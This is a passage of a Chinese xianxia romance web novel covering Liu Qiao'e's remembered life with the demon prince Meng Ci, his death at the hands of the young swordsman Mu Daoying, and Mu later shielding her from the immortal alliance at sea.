可修真界又怎会有真正的世外桃源呢? 很快,就有魔物闯入了山下的村庄。 好在,这魔物似乎是魔气新催化而生,一点也不强悍。 而这一次的她,也终于有了反击之力,不再是当初那个刘家t?村只能束手待宰的村姑。 她虽然弱小,却总能守护那些比自己更弱小的凡人。 也就是这一次,她才发现,孟慈其实并未骗她。 他真的是个修士,会法术。 村民们说,这些年来魔气愈发兴盛了,常常会催生出这样的魔物,捣毁庄稼,吃人害人,令人不堪其扰。 当时的她,并未留意到叽叽喳喳的孟慈难得的安静,神色间难以掩饰的落寞。 她当时听了,想了一整夜,第二天一大早便去了镇子里的铁匠铺子里,打造了一柄剑。 她还是选择提起了剑。 只是这一次,她是为村民们,为自己想守护的人而重新修炼。 孟慈问她:“你不是再也不修炼了吗?” 她说:“不为长生修炼了,但总要保命,护得住自己,也护得住别人。” 孟慈想了想,不知下定了什么决心,“好。” 他说,“我跟你一起。” 从此之后,他二人变成了附近几个村子里小有名气的侠侣。 只要哪里有魔物,甚至野狼,野猪,地痞混混作祟,他二人也不论威胁之强弱,只要来请,一律提剑杀过去。 长此以往,还真混得个不三不四的古里古怪的名号,什么“寻仙二侠”。 跟慕道瑛那大名鼎鼎的玉剑丹心当然无法相提比论。可在田间地头,也算威名赫赫,人敬狗爱了。 刘巧娥没纠正过“侠侣夫妻”的误会,孟慈也揣着明白装糊涂。 他愈发喜欢招惹她了。 她渐渐地意识到了,他对自己的情意。 他似乎喜欢自己。 她说,她有喜欢的人了,你不要痴心妄想。 他笑着问,那他是谁?他一定要见见他,被她这样天上的仙子喜欢的,岂不是天上的神仙?难道是玉帝? 她:我是仙子,你见过我这样的仙子吗?眼睛瞎了不成?而且,别以为我没看出来你埋汰他呢。还玉帝。 他笑道:谁埋汰他了。认真的。我第一次见你,你从天上掉下来,岂不是天上的仙子?你还没说那人到底是谁呢。 她:我已经不喜欢他了。 他:怪哉,你方才还说有了心上人,怎么又不喜欢了。 她怒道:我说不喜欢就不喜欢了! 他忙作揖道歉,安抚她,“那考虑考虑在下如何?” 她心里一乱,被他含笑的视线看得生气大叫,“我……我……” 到底还是舍不得说出拒绝的话来。 狐假虎威道:“看你表现!” 日久生情,他们走到一起完全是水到渠成的必然。 在一起之后的日子其实也没什么不同。 不过是日常起居更加亲密了,再没之前那样的避忌。 她的头发又黑又亮,晨起梳头时,他常常笑着吟咏说,“这是闲读道书慵未起,水晶帘下看梳头。” 他的出现,的确治愈了她的伤痛,让她发现,贼老天也不是那么坏。 虽然她心底仍放不下慕道瑛,恨也好,爱也好,她仍对他耿耿于怀,听到他名字,总要驻足,呼吸都发疼。 可孟慈并不在乎。他说她这是执念,执念的放下总要时间的,她还喜欢他也没事,只要她也喜欢他就好。 她真的,差一点就以为,她就要苦尽甘来,跟孟慈行侠仗义,白头永偕了。 直到那一天,她采药回来,看到趴在地上痛苦喘息的孟慈。 魔气从他体内源源不断地流淌而出,他半张脸都染上黑色的魔纹,身上不断异变出犄角、骨刺,乃至肉瘤。 她吓了一跳慌忙过去扶他,她真的吓坏了,她怕失去他。 孟慈却推开了她,一个人蜷缩在地上,抵抗着魔气的侵蚀。 不知过了多久,他这才虚弱地跟她道歉。 对她说。 他真的是皇子,魔界的皇子,魔祖姜重冥仅存于世的最后的血脉- 孟慈不是在魔域长大的,他幼时流落人间,在人生的前十几年里,一直以为自己是个人。 纵使,他的身体有时候会发生莫名其妙的变化,比如突然会长出个角什么的。 可是只要忍过几天,那些变异就又都会消失了。 他甚至怀疑过是不是自己采药的时候吃了什么乱七八糟的东西。 直到那一天,一个自称恶业宗掌教,名唤罗那吉的人,出现在他面前,对他说,他是魔祖姜重冥遗落在人间的仅存的血脉。 是魔域的太子。 现在就跟他回魔域当太子,带领魔域,破除魔祖封印,开创魔族千秋万载的基业。 孟慈怀疑今天早上吃的菌子吃出了问题。 可他身上的异象的确太多了,多到他连自己也说服不了自己了。 罗那吉又一天到晚追在他屁股后面给他洗脑。 于是,某个月黑风高夜,他逃了。 逃之夭夭,隐姓埋名,继续去当他的凡人,当他的赤脚游医。 他一点也不想去当那什么劳什子害人的魔王。 他是个正儿八经的,信佛的凡人。 罗那吉并未着急追捕他,因为随着他日渐年长,魔气的影响几乎是无可避免的。 他优哉游哉,自信地认为孟慈一定会回到魔域。 却没想到孟慈他能忍,非常能忍,魔化时身体撕裂异变的痛苦,他都能忍受。 于是,罗那吉有点坐不住了,他摇身一变,扮作孟慈多年好友,主动登门。 刘巧娥因此与他相识。 罗那吉反反复复劝,孟慈不为所动。 当罗那吉最后一次离开时,孟慈严肃地说这里待不住了,他们必须要搬家。 刘巧娥也知晓个中紧要,没有异议。 他们连夜收拾了行囊,却在准备出发的那日,魔物袭击了村庄。 谁也不知道那些魔物到底是从哪来的,似乎这只是个天灾的巧合。 因为这几年来,魔气越来越兴盛,魔物也的确越来越多了,甚至威胁性也不可同日而语。 大地裂开了口子,数不清的魔物从地裂中飞了出来,跑了出来,在这一片村落里大肆屠戮。 刘巧娥拼了命地救人,拼了命地救,却抵不过人们倒下的速度。 那一刻,她又崩溃了。 为什么,为什么在她认命了,只想要脚踏实地,平静地度过这一生的时候,又要来摧毁她的人生。 隔壁的牛二婶,小狗儿……无数熟悉的面孔在倒下, 他们见到她,眼里爆发出充满希冀的,恳切,狂热的目光,他们以为自己得救了。 可她知道,她根本不是救兵,她也不是什么大侠,她只是个普通人,她一个人根本对付不了这么多魔物。 她只能不断地挥剑,不断地挥剑,直到手臂沉重得再也抬不起来。 最令她绝望的是,这中途,她和孟慈失散了。 孟慈也在救人,拼了命地救,他无奈之下,只能放弃了多年来的抵抗,主动让魔气侵蚀了他的身子。 他不断地吸纳魔气,将四散的魔物都吸纳于己身。 最终,他变成了一只面目狰狞的大魔,仅靠着岌岌可危的神志强令自己别伤人。 可他知道,等他完全失去理智不过是早晚的事。 就在这时,仙门的少年,接到了魔物肆虐的消息,御剑而至。 这少年,丰神俊朗,风度翩翩,浩气清英,正气凛然。 见此地哀鸿遍野,人间炼狱,便如同话本里最骁勇正义的剑仙,毫不犹豫,以身涉险,深入魔氛。 逢春剑荡尽了邪祟,千朵万朵桃花开。 少年瞧见了这只大魔,奋勇直追。 他们跑到山里打了三天三夜,打得地动山摇,难解难分。 他们都受了很重的伤,少年的骨头断了,但他的剑不曾动摇,脚步不曾后退半步。 最终孟慈不敌那少年剑骨天生,被剑气洞穿了心肺。 却也机缘巧合,他剑上浩然正气,短暂地压过了他体内肆虐的魔气。 魔气的影响渐渐褪去,这狰狞的大魔,露出半边清秀的眉眼。微微弯起的眉,像是在笑,又像是绝望,悲悯地恸哭。 如果按照话本的描述,少年应该立刻将它斩于剑侠。 可这名叫慕道瑛的少年却怔住了,透过他可怕的外表,他敏锐地觉察到了他残存的神志。 他忽然意识到了不对劲。“你……是人么?”慕道瑛顿了剑,忍不住问。 那魔物只苦笑一声,轰然到底,漂亮的眼睛里涌动着复杂难解的神色。 慕道瑛,慕道瑛。孟慈看着少年阳光下,白衣鲜净,意气风发的模样。 这才意识到,原来他便是她喜欢的那个心上人。 果然是月亮一般皎洁明润。 他输给了他,慕道瑛慌忙伸出手,他跌落入他怀里。 他又问了一句:“你,是人吗?这到底怎么回事?” 他只问:“他们都安全了吗?” 慕道瑛的神色一时间变得极为复杂:“魔气都消失了。” “那就好,”孟慈长舒了口气,喃喃地念,“阿t?弥陀佛,那太好了。” 慕道瑛心中不解,正要询问,却瞥见密林中残存的魔气正丝丝缕缕不断向这少年体内涌入。 这人……他心头微震,难道是吃尽了所有魔气,这才入了魔? 孟慈动了动唇,还想要再说,可心底那隐秘的嫉妒又催化了魔气。 魔气再度攻占了他的心神,他失去了理智,攻击了他。 这一击透胸而过,少年慕道瑛遽然色变,强忍住下意识对他出手的冲动。 他再躲已来不及,他飞了出去数丈远,口中狂吐鲜血。 鲜血,泥土染脏了白衣,他胸骨断裂,骨骼也几乎尽碎了。可这少年竟然皱着眉,抿紧了唇,强忍住痛楚,又一点点爬了回来。 扶起他的头,将他抱在怀里。 如此高洁,如此明朗, 孟慈恍惚间,惨然笑了,在那少年清辉皎洁的月光映照下,他像一轮惨淡的,即将死亡的月。 其实这样死了也好,终于不用去当那被迫害人的魔王了。 只是他想到刘巧娥。 他恐怕见不到她了。 她会生气吧,会仇恨眼前这少年吗。 会又变回从前那个偏激的样子吗? 阿弥陀佛,他希望她能快乐地,宽容地生活下去。 永远也不要为他复仇,永远也不要被仇恨占据了心神。 慕道瑛抱着怀里那个如弱柳般纤秀的少年,在认识到自己或许错怪了他之后,他有些慌了神,他追悔莫及,竭力想替他止血,可他的血却越流越多。 两个少年的鲜血交融在了一起。 他慌里慌张忙活了一通,终于放弃了,他抱着他的头,问他还有什么遗愿。 这一刻,两个少年,因为一个女孩子联系在了一起。 孟慈动了动唇:巧—— 他想替刘巧娥问问眼前这少年,他能不能帮他照顾她,带她走,走去她向往的仙门正道,那里有朗朗乾坤,昭昭日月,浩然大道。 可才说了一个字,他的手便从他手里滑落,他死了。 慕道瑛怔怔地,惘惘地,双手捧着他的尸身。 他受到了极大的震撼,同门赶了过来,问他经过,他唇瓣动动,说不出话来。 终于坚持不下去,撒手晕了过去。 昏迷前最后强撑着说了句,让他们安顿好此人的尸身。 同门们不解望去。 孟慈身上的魔气伴随着他的死亡尽数褪去,他又变回了凡人。 同伴们看到的,只是个无辜惨死的少年罢了。 可惜了这样的年纪,这样俊秀的样貌。 他们从幸存的村民口中打探到了那少年的住处。 他家中无人,他们将他暂且安顿在家中,便又转身去处置后事了。 仙门带走了慕道瑛,这一役令他根基几乎尽毁,剑骨破碎,所有人都以为他再也提不起剑了,他受到了很大的打击,消沉了很长一段时日,人人以为他是因仙途断绝, 只有他心里清楚,他仍不忘那少年临死前殷切的目光,他到底想说什么,还有什么未尽的遗言? 等他伤势终于恢复到能下地走动后,他回了一趟当地的村庄,却见人去楼空,人们早已搬走。 只留几个老人,说,那少年还有个娘子。他曾经想找到这未亡人,惜人海茫茫,一直无缘得见。 就在慕道瑛昏迷不醒,被仙盟带走的那刻。 受了重伤的刘巧娥好不容易,跌跌撞撞地回到家中,她看到了孟慈身上的,她极为熟悉的,来自慕道瑛的剑气。 她的世界在这一刻彻底崩塌了。 被丢下悬崖,受尽粉身碎骨的痛楚,她当然恨过慕道瑛。 可这恨只是飘在她头顶上的一朵乌云,恨过了,便过去了。 自始至终,他都没做错什么。 这一切不过是她一厢情愿。 可为什么,又让他来打破她平静的生活,夺走她心爱的人呢? 她的眼里含着泪,哆嗦着嘴唇,去摸孟慈已经冰凉的身躯。 几百道剑气,每一道都仿佛割在了她的心上。 她终于忍不住,眼泪夺眶而出。 她痛苦,痛苦地想要大叫。 疼啊,比摔下悬崖的时候更疼,可为什么她叫也叫不出来。 那一团怒火绝望地被卡在心肺间,她喘不过来气,眼泪无神地扑簌簌地流。 她没有如孟慈希望的那般放下仇恨,也没有拜入她向往的仙门正道。 她回到了合欢宫。 老宫主感叹,想不到她失踪这么多日竟还活着。 她的眼泪已经流干了,她朝他恭恭敬敬磕了几个响头。 请容弟子伺候掌门枕席。 第59章 第 59 章 君子玉碎 回忆到这里彻底崩碎了。 屋内, 赵言歌忧心忡忡地看着床上的人。 慕道瑛紧皱着眉头,手指紧紧攥着被褥,大汗淋漓。仿佛陷入了个醒不来的噩梦。 那夜, 众人一道落水,又先后被救起。 刘巧娥不见踪迹, 溯世镜不翼而飞。 慕道瑛却好似被溯世镜制造的回忆给魇住了,一个昼夜,大梦不醒。 他们不是也没受到过镜子影响, 赵言歌心里发愁, 可这镜子都没了,他们也都醒了,怎地, 宁瑕还是不醒呢? 最初还是皱着眉说胡话, 之后他便眼睁睁看他开始流眼泪。 迷迷糊糊的,眼泪顺着鬓角都没入了头发里, 睫毛上沾满了眼泪, 手脚不断地打着摆子,痛苦难过得像个愧疚的大孩子。 也不知梦里到底经历了怎样悲痛欲绝的伤心回忆。 这不该啊。赵言歌替他揩了把眼角的泪水,纳罕极了。 据他所知,慕道瑛童年父母亲族都疼爱, 虽说自小就远离了父母家人, 孤身上了小寒山,但他性子好, 从没跟人红过脸, 同门之间相处甚谐,如何会沉湎在痛苦的回忆中挣脱不出呢?- 最初,慕道瑛并没有想到自己会亲眼目睹这些残酷往事。他不过是略略存了几分对刘巧娥往事的好奇探究之心。直到, 事情的发展终于到了他无法承受的地步。 他瞧见,她在合欢宫担惊受怕,受尽欺凌,惶惶不可终日。 他心底直冒寒气,浑身上下都冻成了块冰。 他瞧见,他们将她团团围住,辱骂殴打,心又仿佛被丢进了油锅里煎熬,眼底一寸寸爆发出炽热浓烈的杀意! 他们怎敢?! 他眼底泛血,头疼欲裂,心头翻涌成恨,恨不能将眼前这些人统统杀尽,救她离开!这是从小到大也未曾有过这样激烈的心境。 可他不能。 因为这只是溯世镜所照射出的刘巧娥的回忆。纵他无数次想杀尽他们,他也无法改变过去的事。 他不得不被迫眼睁睁目睹这一幕,心脏仿佛被刀割得鲜血淋漓。 她当然认得慕道瑛,她如何不认得慕道瑛?! 他此前一直想要弄明白她的遭遇。 在离开云山宋氏,到成为合欢宫掌教之间,她到底经历了什么。 这便是他一直以来追寻的那块空白吗?- 后来,他终于见她振作起来,离开了合欢宫,前往了春台论道。 他见她风餐露宿,不禁感同她身受,为她喜,为她愁,同她累,同她忧。 他浑然间已经忘记了镜外的世界,在这一刻,他的心只为她的一颦一笑,一言一行而牵动。 见她迎向异性少年的搭讪,骄矜得宛如只小孔雀,他不禁又看得入了神,觉得她可爱,唇角轻轻扬起,不住莞尔。 她一路上的忐忑,期盼,雀跃甜蜜也感染了旁观的他,就连他也忍不住关切。 她就要见到少时的自己了,她会见到自己吗? 他会对她说什么? 为什么他仍是毫无印象呢?他微微蹙眉,心里微感不详,难道中间出了什么差错?她不曾见到自己? …… 直到他亲眼目睹了那一幕。 目睹了他的轻薄,他的傲慢,他低下脸继续去查验过关春简。 甚至没想过,要问她个清楚明白,便任人仓促将她带走,打落地狱。 她一动不动,躺在崖底,闭目待死的模样,每一眼,都像是有刀子在活生生地刮他的眼球。 他看到这里,闭上眼睛。 他自己尚且不忍,不敢再看,更遑论她那时的惊恐,苦楚? 直到这个少年的出现。 孟慈的出现,又令他震在原地,心跳如擂,魂不守舍。 他头晕目眩。 怎会如此。 怎会如此,他见过这少年,他认得他。 那已经是数十年前的事了。 他记得这少年的名字,又怎可能会忘。 毕竟,当日他是死在了他的怀里。 他看着那少年做了个草垫子,将她拖回草庐,他一直紧绷着的心也终于放松了些, 他收敛了情绪,想要探查个究竟。 孟慈他,跟刘巧娥之间到底有过什么过往? 前几天,她不肯喝药,一心求死,他觉得不好。哪怕知晓她活了下来,日后还成了无垢老母,他心里不免还是暗暗发急。只希望那少年能多劝劝她才好。如何t?能就这样自暴自弃呢? 待看那少年终于劝得她松动治病。他松了口气,却又在目睹治病过程中二人相处甚谐,心底又感到并不光彩的失落。 一念既起,他心底忙告诫自己。 慕道瑛啊慕道瑛你怎可如此小气量,心胸狭窄? 你害她坠入悬崖还不够,又有什么脸面来吃味? 他看到那少年提出要教她念字,于是捧了一本《诗》过来。 他想,这倒是跟他不谋而合。又想起当初客栈教刘巧娥初学时的画面,情窦初开,爱意懵懂。 正在这时,耳畔却响起孟慈含着笑意的嗓音: 他却在孟慈开口的刹那间怔住了。 他呆了呆,下意识默默跟念: 关关雎鸠,在河之洲…… 因少年初识心动,便将客栈里的每一幕,每一个细节记得清清楚楚,他记得她说话时的嗓音,记得被阳光照得毛茸茸的发。 他心头猛地一颤。 那时,她的走神,难道是想到了今日吗? 他想起她说,她不会弹琴,又故意说些流氓话来戏弄他。 往事历历在目,而曾经的甜言蜜语,却在此刻这一刻竟都成了捅向了他心头的刀子。 她身上的一切谜团,在这一刻终于有了解答。 他呆呆地瞧着,如梦初醒,恍若大悟,心头一阵紧一阵松,发酸发涩。 曾经以为的举案齐眉,枕边教妻,以为只有他跟她的甜蜜回忆。 原来竟早已是她跟别人的海誓山盟。 他眼睁睁见他二人相知相许,亲耳听到刘巧娥说不爱自己。 自己竟成二人之间被轻描淡写的过去,他心头涩然,失魂落魄。 过去一无所知的错过,竟成为往后剜肉的刀。 他只能眼睁睁瞧着他们月下花前,琴瑟和鸣,咬着耳朵亲密地诉说着说不尽的爱语- 魔物的出现,令他短暂从失落、酸楚中回神。 他苍白的脸终于浮现出惊惧之色。 他心神不宁,脊背颤抖,几乎不忍再看。 他知道,来了。 他的罪,他的孽,他这些年来,每每午夜梦回,总会想起的那个死在他怀中的少年。 他头脑发昏,眼前发黑,宛如个重刑犯,迎来了迟到多年的审判,骇得手指发抖,骇得大汗淋漓。 迎面仿佛有一柄重锤砸了下来,他五脏六腑也被砸碎了,砸烂了,他想吐,却吐不出来。 原来,原来这便是她缺失的那一块空白。 原来,原来是他,原来这一切的始作俑者都是他。 我不杀伯仁伯仁却因我而死。 他苦苦追寻这一块空白,却从未想过这块空白竟是他犯罪的证明,是她锥心泣血的痛,是他所不能承受之重。 他合上眼,薄薄的眼皮盖着滚烫的眼球。 于是一切便都有了解释。 她的恨,她的恶,她的爱,她的好,她待他的反复无常, 统统都有了解释。 可他竟一无所知,自以为受尽苦楚耻辱,自以为她冥顽不灵,执迷不悟,一意杀她。 他凭什么?凭什么这么高高在上,自以为是? 莫说她平日里只是打骂。在他看来,他这样的人,他这样的人,就算被活剐了也难消她心头之恨。 往昔之罪愆,令他惊出了一身的冷汗。 可那亲眼目睹爱人受尽折磨却无能为力,才是真正意义上的痛不欲生,肝肠寸断。 巧娥——巧娥—— 他一呼一吸间都如吞了几百把刀子,他眼泪落了下来- 不知过了多久,他终于猛然中噩梦中惊醒。 “巧娥!!”他倏地睁眼,大喊! “宁瑕!”赵言歌忙奔到床前,“你终于醒了!” 模糊的视线一点点聚焦于好友担忧的脸庞。 慕道瑛怔了怔,梦境和现实的切换,令他一时间有些精神恍惚,说不出话来,僵直的舌头只反反复复念着。 关关雎鸠,在河之洲…… 关关雎鸠,在河之洲…… 赵言歌慌忙端了碗药来递给他。 可慕道瑛却仍旧沉湎于镜子的回忆之中,显得极为魂不守舍,才勉强喝了一口,便失手打翻了药碗。 他……刘巧娥…… 孟慈…… 他好像忘记了什么。 慕道瑛紧紧皱着眉,冷汗越出越多。 大脑头痛欲裂,他隐约记起自己正在同刘巧娥争夺溯世镜。 巧娥,那巧娥呢? “巧娥!” “宁瑕!!”赵言歌眼皮一跳,慌忙按住他! 慕道瑛却遽然色变,拂开他的手,摇摇晃晃要站起来,“巧娥!” 他面色极为颓白,惊惧,嘴里反反复复,颠来倒去地只会念这几个字。 巧娥……关雎……孟慈。 是他! 他都想起来了,他都明白了。 是他!是他害她落入地狱,又杀了孟慈! 他问她下落。 赵言歌不肯说。 他额角绷出青筋,眼尾几乎逼出血来,碎碎念念,状若疯魔。 赵言歌被他吓坏了,无奈之下,只能告诉他,安抚他。 落水之后,他被救回了太和宗。 至于,刘巧娥。 他犹豫了。 慕道瑛心惶惶跳,皱眉追问:“她怎样?!” 赵言歌说:“她受了重伤,仙盟正乘机追捕她。” 慕道瑛缓缓合上眼。 他要去找她。 他明白了,他全明白了! 为何她第一次见他便深恨他,仿佛有累世夙孽。 为何她第一次见她便爱他,仿佛他们姻缘天定。 原来在未知的角落里,她已经爱他成百上千次。 为何念起关雎,她神思不属。 为何夜半抚琴,她沉郁难消。 为何她如此恨他重伤二老爷,因他早已夺走过一次她心爱之人。 心爱之人,心爱之人,原来他当年亲手杀的那个少年,便是她曾经的旧爱人。 而他,不过是她执念难消,恨念难解,是她痛苦的源头,是一切的罪魁,是她日夜枕戈待旦,恨不能一刀成快的孽! 她的人生,自遇到他的那一瞬间便全毁了。 他是灾星,是祸患,是她的劫,是她的难! 他的手在颤抖,不顾赵言歌的阻拦,跌跌撞撞,赤着脚便夺门而出。 一路上,细碎的砂石磨破了他的脚趾,涎下一道道血渍。 他披头散发,也全无君子衣冠可言了。 他竭力催动遁光,追寻着她的方向飞去。 他害怕一切都来不及了。 赵言歌说,她受了很重的伤,仙盟派了许多人去追捕,成败或在此一举。 是他,是他,一切都是他的错。 他不该忘记那一碗水。 更不该除妖不尽,害她满门。 不该轻描淡写,随口说出她的身份,令她摔下悬崖,摔碎了全身的骨头,只能闭目待死。 孟慈,关雎。 关关雎鸠,在河之洲……慕道瑛嘴唇颤抖,喃喃念着。每念一个字,心脏被撕扯,鲜血淋漓,痛不欲生! 他反反复复,用力阖眸,企图压下眼球滚滚热意,可不论如何也掩不去心底的凄怆悲凉。他眼里含泪,舌尖发苦。 他恨自己不能亲眼见到那瘦瘦小小的小姑娘,亲口告诉她,她日后会变成最了不起的大人物,而他不过是她一介裙下之臣,渴慕一点她的余晖。 他恨自己不能在她最绝望,孤苦,任人欺凌之际,出现在她面前,引她走向她最向往的乾坤正道。 他恨自己不能紧紧抱紧她,深深吻她,抚过她的伤疤,一遍遍对她诉说自己的爱意。 原来,自始至终,他便已经错过了。 这一切竟是他自作多情。 可至少,现在还来得及。 那个曾经无数次祈求他出现的少女,从未见过希望的来临。 他至少要救她一次。 这一刻,他不再去想什么天下大义。 她是为报复仙门也好,是想要复活孟慈也罢。 她若想复活孟慈,那他便去帮,便去救。 因他早已错过,早已不配,早已失去了站在她身边的理由- 月出东海。 海面波涛起伏,月浮在浪端。 一天星子,倒悬下来,不断被漾漾的海波撞碎。 天地之间,水天合成一色。 刘巧娥气喘吁吁,攥紧了血罗刹,全神戒备着立足浪头的这数百仙盟之众。 被溯世镜灼烧的肌肤,不断淌下鲜血,伤口泡过海水,风一吹,便干结成盐粒子黏在皮肉上,疼痛难忍。 寻常,这些乌合之众,她自不会放在眼底。 可在此之前,她已经被这些人围追堵截了整整一个昼夜。 溯世镜的灵压不仅反噬了蓝淑英,同样也令她伤重。 她的修为比慕道瑛深厚。在同他一齐坠入深海后不久,便迅速挣脱了溯世镜的幻境束缚,不顾伤势,强行运转圣君功法,摄了溯世镜在手,夺镜而逃。 回过神来之后的仙盟,立刻派兵来追。足足围堵了她一天一夜,才将她围困在这方海面之上。 刘巧娥操翻罗那吉祖宗十八代的心思都有了。 这混账到底搞得什么鬼?!老娘累死累活险些死在这里,竟也不见援军?! 蚁多咬死象,蓝淑英虽然重伤不醒,不能出战。可她也没好到哪里去。 丹田里的真气近乎亏空,便是眼前这些人一齐攻t?上来也够她喝一壶的了。 无奈之下,刘巧娥只能长喝一声,将丹田内仅存的真气催发到极致! 只求此一招能尽量吓退眼前众人,至少,能令他们暂时不敢轻举妄动,等到援军。 伴随着山河剑凌冽剑意一寸寸铺开,人群肉眼可见地骚动起来。 “结阵!!”有人奔走,有人不断高声呼喝。 风浪越来越紧,他们也知晓纵使一齐冲上也不过是被她挨个击破的道理。 因此,又故技重施,企图靠结成天地大阵,来将她就此杀灭在阵心! 她会死吗? 纵使之前再如何坚定不移,向着既定的目标,沿着荆棘丛生的道路,无怨无悔而行。 此时的刘巧娥,在被逼到了极点,命悬一线间,也禁不住神情恍惚。 恍惚间,耳畔仿佛响起少年含笑的嗓音。 摇着头:“错了,又念错了!阿弥陀佛!是关关雎鸠,在河之洲……” 孟慈。 溯世镜的幻象到底还是勾动了她深埋于心的隐痛。 刘巧娥目含热泪,纤弱的身躯竟又爆发出冲天的剑意! 她好想他。 之前是她不对,是她不该,见到了慕道瑛便昏了头。 她知道,他一定不会怪她的,对不对。 她不能在这里倒下。 再等等,再等等他们就又能见面了。 他一定要再抱她在怀,抚摸着她的头发,轻轻再为她念一曲《关雎》。 阵法持续不断,嗡嗡运转了一夜。 刘巧娥也在杀机四伏的阵心强撑了一夜。 无数的灵气汇成一道道乱流,在阵中乱走,夜以继日,前赴后继,只等着刘巧娥体力不支,将她撕碎。 她能清楚地感觉到自己的手臂越来越沉重,酸软,灵气也越来越微弱—— 就在其中一道乱流终于逼近她眼前,擦着她颊侧飞过时,大阵之外,忽传来人们大惊失色的喧闹叫喊。 “什么人?!” “什么人竟敢破坏大阵?” “慕道瑛?!” 慕道瑛?这熟悉的名字短暂地唤回了刘巧娥业将溃散的神志。 她放眼望去,立怔在当场! 巨大的圆月占据半边的天空,月光下,一道渺渺的烟气纵横而下,直降水天,激起滔天巨浪! 那熟悉而又陌生的缥色身影,挺剑而立,腰间环佩风动。 月光朦胧他修眉挺鼻,青青眉眼。 慕道瑛长发披散,手提逢春。 海浪涌动,他静静立于天海之间。 突然间,他隐约有所感悟,抬起视眼,视线穿过人群,与她四目相对。 他怔了怔,眼里飞快地涌过了无数她看不清,也想不明白的情绪。 明月朗照九州,剑光流烁,搅碎海面浮星,万千辰星仿佛毕集于他剑尖,也倒映在她眼底。 周围不断响起仙盟众人愤怒的质问。 慕道瑛此时却什么也听不见,望不见了。 此时此刻,他的眼里只倒映着那个熟悉的,瘦小的身影。 来时的路上,他想见她,发了疯地想见她。 见她暂且无恙的那一刹那,他这才松了口气,高高提起的心轰然落地。 无数的情绪拥堵在了喉口,他喉口滚动,眼球干涩,几乎渗出眼泪。 一切的涩苦奇异地平息了下来,随即升腾而出的是一片通达的平宁。 他缓缓握紧剑,对上昔日诸位同僚盟友,容色一点点又变得平静,平静中透出几分刻骨的决绝。 他的大脑很清楚,思绪也从未如今日这般清明过。 他轻轻说:“抱歉。” “今日瑛必须要救她性命。” 人们愤怒指责他还是叛变了仙盟,好一对狼狈为奸的狗男女。 可他什么也不顾了。 反复无常也好,优柔寡断也罢。 直到今日,他终了悟道心,再无任何动摇。 道心所指之处,便是剑之所往。 他毫不犹豫,提剑入阵,侧身挡在了她面前。 明明来之前有万千情潮再心头涌动,可这一刻,竟近乡情怯,语不成句。 他甚至连多看她的勇气也没有。 慕道瑛闭上眼,心头酸楚随海浪起起伏伏。 “你走吧。” 舌尖吐出寥寥几字,重若千钧,“去救他罢。” 说完,慕道瑛便不再顾忌刘巧娥的反应,挺剑而上! 他已明白了,他是过去,潜离,是暗别,是不配。 若她想救孟慈,他会倾尽全力而为,哪怕牺牲自己的性命也再所不惜。 因为这是他欠她的。 他专心致志,独对漫天杀招,未曾再敢多看她一眼。 是“彼此甘心无后期”。 刘巧娥怔了一怔,险些以为眼前这一幕是自己的错觉了。 曾经多少个黑暗的日夜,她无数次的企盼,他能从天而降,解她危,免她苦。 以一己孤弱青色身影,挡她面前独对百人。 曾经的幻想竟成了现实。 刘巧娥浑身一震,苦苦坚持了数年的坚硬心盔在这一刻终于彻底土崩瓦解。 这一切竟不是她的梦,竟成真了吗? 救他? 他知道孟慈的存在了吗? 是了,溯世镜,他应当从溯世镜中看到她的过往了。 可是太迟了。 刘巧娥眼眶发热,积蓄多时的眼泪落了下来。 他知道了一切,可知道的还是不够多。 她活不了了。 出去之后,她也难活了。 她真不该,当初明知了自己的结局,执意将他推开。 真不该因为胆小怕死,自知死期将近,又恨他一无所知,拿他撒气。 真不该用尽一切刻薄的言语,一切残酷的手段去虐待他的身心。 如若不然,说不定还能同他耳鬓厮磨,度过生前最后一段时日。 她其实心里隐约知道的,她知道孟慈身上残存了魔气,便是这剑气的由来。 可那时她太恨了,从前她为爱他而活,遇到孟慈之后她不爱也不恨了,只想安安分分,平平静静地过两个人的小日子。 孟慈死后,她又为恨他而活了。 若不恨他,她真不知要怎样活下去。 可他到底并未做错什么,是她擅自爱他恨他,以一段痴心妄想的的奢望,害了他的一生。 这一切始作俑者不过是她。 这一切的痛,一切的苦,一切的孽,不过是因她妄图窥月罢了。 奇哉怪哉,她突然想起她偏要强求他的第一日。 那信手乱翻的佛偈,反而在此时撞入心扉。 “一切恩爱会,无常难得久。 “生世多畏惧,命危于晨露。 “由爱故生忧,由爱故生怖。 “若离于爱者,无忧亦无怖” 竟成了她性命将绝的谶言不成? 他还是当初那个君子。 君子如月。 她仍是奢望明月的小小的老鼠罢了 这一切不过始于她那不知天高地厚的奢望。 她跟他之间这一生仿佛都在错过。 这一生,是再无白头携手可能了。 若有来世,便让他们转世投胎成比邻而居的小儿小女,青梅竹马,举案齐眉。生两个孩子,一辈子和和美美。 她闭上眼,深吸了一口气, 抓住这千载难逢之际,配合他冲出大阵! 无数的剑光在这一刻齐齐攻向她全身上下各处命门! 可刘巧娥没有停顿,没有回头,直顾埋头猛冲,冲向天际那轮皓月,冲向自己早就亲手写就的既定结局。 因慕道瑛在见这剑光袭来的刹那间,便挥剑闪身,义无反顾挡在了她的面前! 她也没顾忌独面这一切的慕道瑛。 狂风大作,海浪怒号。 数不清的剑光,如星陨雨落一般,纷纷扬扬,加诸他一人之身! 当啷—— 怒涛霜雪间,响起一声极细微的碎响。 他腰间的环佩破碎,垂缨断裂,青衣染血。 苍白纤瘦的指,被鲜血浸透,湿滑得近乎握不住剑柄。 脚步踉跄一寸,又往前踏出。 却死战不肯退却半步! 他流了太多的血,几乎染红了下方的海域,就连慕道瑛也分不清这鲜血到底是从他身上那处伤势中流出的了。 他的眼睫也被鲜血浸透,血滴恍若泪滴,顺着眼皮滑落。 视线越来越模糊,他恍恍惚惚间瞧见她的身影渐渐消失在天际,飞向高远的皓月长空。 他轻轻吐出一口气,心神一松,呛啷松了剑,闭目待死。 她安全了吗? 他只能送到这里了。 有两样道器在手,想来再夺得返魂灯也不难了吧? 她会复活孟慈。有情人终成眷属,唱着“关关雎鸠”的歌。 可心底,不免又添一重遗憾。 她真不该跟魔门合作的。 没想到他持正半生,临死之前,却还是心甘情愿,神思清明地犯下这滔天大错。 举剑同门,助力魔门,罔顾天下,他犯了这世上,最大,最严重的恶孽。 可他已经没有神志再自责了。 君子玉碎。 碎尽了这太过仓促,遗憾的匆匆一生。 碎尽了这半世以来执着的仁义礼信。半世清名,临终这一刻,终是声名扫地。 再多的孽,再多的债,待过后下了地狱,再来同他一一清算罢。【魔蝎小说 mo xie xs .c om】 【终章】 第60章 第 60 章 海清河晏,天下…… 